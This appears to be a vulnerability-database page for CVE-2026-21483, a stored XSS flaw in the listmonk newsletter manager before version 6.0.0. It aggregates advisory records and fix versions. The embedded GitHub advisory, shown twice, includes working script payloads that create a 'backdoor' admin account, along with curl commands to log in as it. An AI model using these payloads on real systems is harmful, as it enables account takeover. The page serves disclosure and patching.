Every CVE Search/ Get API key

CVE-2026-21483

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

5.4 MediumFix available

listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
None

Exploit likelihood

0.23%Up 0.2 points since Jan 3, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.4

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.

Record
CVE-2026-21483
CVSS 4.0
5.4 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-0751 5.4

listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.

Record
EUVD-2026-0751
CVSS 4.0
5.4 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P
Updated
2026-11-02
GitHub AdvisoriesGHSA-jmr4-p576-v565 5.4

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting

Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.

Required Attacker Permissions

campaigns:manage    - Create/edit campaigns
campaigns:get       - View campaigns  
lists:get_all       - Access lists
templates:get       - Access templates

Note: These are common permissions for content managers who are not full admins.

Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: '{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>

Vector 2: Go Template Safe Function

{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}

Attack Scenarios

Scenario 1: Campaign Preview Attack

  1. Attacker creates campaign with XSS payload
  2. Request is made to super admin: "Please review my newsletter draft"
  3. Super admin opens campaign and clicks Preview
  4. XSS executes → Backdoor admin account created
  5. Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

  1. Attacker creates campaign with XSS payload
  2. Attacker enables Archive for the campaign
  3. Attacker shares archive link: http://localhost:9000/archive/{uuid}
  4. Super admin visits the link (no preview click needed!)
  5. XSS executes automatically → Account takeover

Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body:

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    username: 'backdoor',
    email: '[email protected]', 
    name: 'Backdoor Admin',
    password: 'Hacked123',
    type: 'user',
    status: 'enabled',
    userRoleId: 1,
    user_role_id: 1
  })
});
</script>

Step 2: Enable Archive (Optional - for link-based attack)

  1. Edit campaign settings
  2. Enable "Archive"
  3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview:

  • Send campaign to super admin for "review"
  • Super admin previews → XSS fires

Option B - Archive Link:

  • Share archive URL with super admin
  • Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
  -d "username=backdoor&password=Hacked123" \
  -c cookies.txt -L

# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign] <img width="1892" height="781" alt="Screenshot 2025-12-27 170259" src="https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b" />

[Screenshot 2: Super admin previewing campaign] <img width="1686" height="709" alt="image" src="https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7"…

Record
GHSA-jmr4-p576-v565
CVSS 4.0
5.4 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P
Weakness
CWE-79
Updated
2026-11-02
NVD 5.4

listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.

Record
CVE-2026-21483
CVSS 4.0
5.4 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 5.4

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.

Record
CVE-2026-21483
CVSS 4.0
5.4 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-jmr4-p576-v565 5.4

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting

Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.

Required Attacker Permissions

campaigns:manage    - Create/edit campaigns
campaigns:get       - View campaigns  
lists:get_all       - Access lists
templates:get       - Access templates

Note: These are common permissions for content managers who are not full admins.

Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: '{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>

Vector 2: Go Template Safe Function

{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}

Attack Scenarios

Scenario 1: Campaign Preview Attack

  1. Attacker creates campaign with XSS payload
  2. Request is made to super admin: "Please review my newsletter draft"
  3. Super admin opens campaign and clicks Preview
  4. XSS executes → Backdoor admin account created
  5. Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

  1. Attacker creates campaign with XSS payload
  2. Attacker enables Archive for the campaign
  3. Attacker shares archive link: http://localhost:9000/archive/{uuid}
  4. Super admin visits the link (no preview click needed!)
  5. XSS executes automatically → Account takeover

Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body:

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    username: 'backdoor',
    email: '[email protected]', 
    name: 'Backdoor Admin',
    password: 'Hacked123',
    type: 'user',
    status: 'enabled',
    userRoleId: 1,
    user_role_id: 1
  })
});
</script>

Step 2: Enable Archive (Optional - for link-based attack)

  1. Edit campaign settings
  2. Enable "Archive"
  3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview:

  • Send campaign to super admin for "review"
  • Super admin previews → XSS fires

Option B - Archive Link:

  • Share archive URL with super admin
  • Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
  -d "username=backdoor&password=Hacked123" \
  -c cookies.txt -L

# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign] <img width="1892" height="781" alt="Screenshot 2025-12-27 170259" src="https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b" />

[Screenshot 2: Super admin previewing campaign] <img width="1686" height="709" alt="image" src="https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7"…

Record
GHSA-jmr4-p576-v565
CVSS 4.0
5.4 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P
Weakness
CWE-79
Updated
2026-11-02
OSVGO-2026-4277 No score

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover in github.com/knadh/listmonk

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover in github.com/knadh/listmonk.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/knadh/listmonk from v1.1.1 before v6.0.0.

Record
GO-2026-4277
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02
OSVSUSE-SU-2026:0142-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260114T191543 2026-01-14T19:15:43Z (jsc#PED-11136).

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-4248 CVE-2025-62690 GHSA-q66g-q98c-q454
    • GO-2025-4251 CVE-2025-63389 GHSA-f6mr-38g8-39rg
    • GO-2026-4273 CVE-2025-14987 GHSA-hmhp-gh8m-c8xp

  • Update to version 0.0.20260113T164240 2026-01-13T16:42:40Z (jsc#PED-11136).

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-4269 CVE-2025-15107 GHSA-43h9-hc38-qph5
    • GO-2025-4272 CVE-2025-14986 GHSA-p2gr-hm8g-q772
    • GO-2026-4274 CVE-2025-69413 GHSA-pc73-rj2c-wvf9
    • GO-2026-4275 CVE-2025-14273 GHSA-qvmc-92vg-6r35
    • GO-2026-4277 CVE-2026-21483 GHSA-jmr4-p576-v565
    • GO-2026-4278 CVE-2024-6717 GHSA-5mqx-rpxv-mvxj
    • GO-2026-4279 GHSA-4c5f-9mj4-m247
    • GO-2026-4280 GHSA-hjr9-wj7v-7hv8
    • GO-2026-4281 CVE-2025-62877 GHSA-6g8q-hp2j-gvwv
    • GO-2026-4283 CVE-2025-68954 GHSA-8c39-xppg-479c
    • GO-2026-4284 CVE-2026-21859 GHSA-8v65-47jx-7mfr
    • GO-2026-4285 GHSA-gg4x-fgg2-h9w9
    • GO-2026-4286 CVE-2026-0650 GHSA-rwp9-5g7q-73q3
    • GO-2026-4287 CVE-2026-21885 GHSA-xwh2-742g-w3wp
    • GO-2026-4289 CVE-2025-68151 GHSA-527x-5wrf-22m2
    • GO-2026-4290 CVE-2026-22253 GHSA-6jm8-x3g6-r33j
    • GO-2026-4292 CVE-2026-22688 GHSA-78h3-63c4-5fqc
    • GO-2026-4293 CVE-2026-22687 GHSA-pcwc-3fw3-8cqv
    • GO-2026-4295 CVE-2017-18895 GHSA-h742-xx59-r9pq
    • GO-2026-4296 CVE-2017-18893 GHSA-887v-xh2x-47cm
    • GO-2026-4297 CVE-2017-18894 GHSA-gg42-mwr6-p82c
    • GO-2026-4298 CVE-2017-18891 GHSA-vrh2-rprg-rgc6
    • GO-2026-4299 CVE-2017-18896 GHSA-63wg-qmrv-7q66
    • GO-2026-4300 CVE-2017-18898 GHSA-9589-mq83-f749
    • GO-2026-4301 CVE-2017-18897 GHSA-f7c3-7vp3-44p6
    • GO-2026-4302 CVE-2017-18904 GHSA-8pff-p3gx-w4jf
    • GO-2026-4303 CVE-2017-18900 GHSA-8q4v-35v6-g8wr
    • GO-2026-4304 CVE-2017-18901 GHSA-c253-8hr4-r8v9
    • GO-2026-4306 CVE-2017-18905 GHSA-g24c-fx4v-xg9w
    • GO-2026-4308 CVE-2025-60538 GHSA-mw8h-g64c-rxv4
    • GO-2026-4309 CVE-2026-22703 GHSA-whqx-f9j3-ch6m
Record
SUSE-SU-2026:0142-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/knadh/listmonk
Go
 1.1.1 up to 6.0.0
6.0.0
github.com/knadh/listmonk
Go
 before 1.1.1-0.20251231125615-74dc5a01cfbb
1.1.1-0.20251231125615-74dc5a01cfbb
govulncheck-vulndb
openSUSE:Leap 15.6
From an advisory covering 31 CVEs
 before 0.0.20260114T191543-150000.1.137.1
0.0.20260114T191543-150000.1.137.1
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-21483 is a medium vulnerability (CVSS 5.4) in Knadh Listmonk, published January 2, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in github.com/knadh/listmonk 6.0.0.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 1,542 references and the rest of 3 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open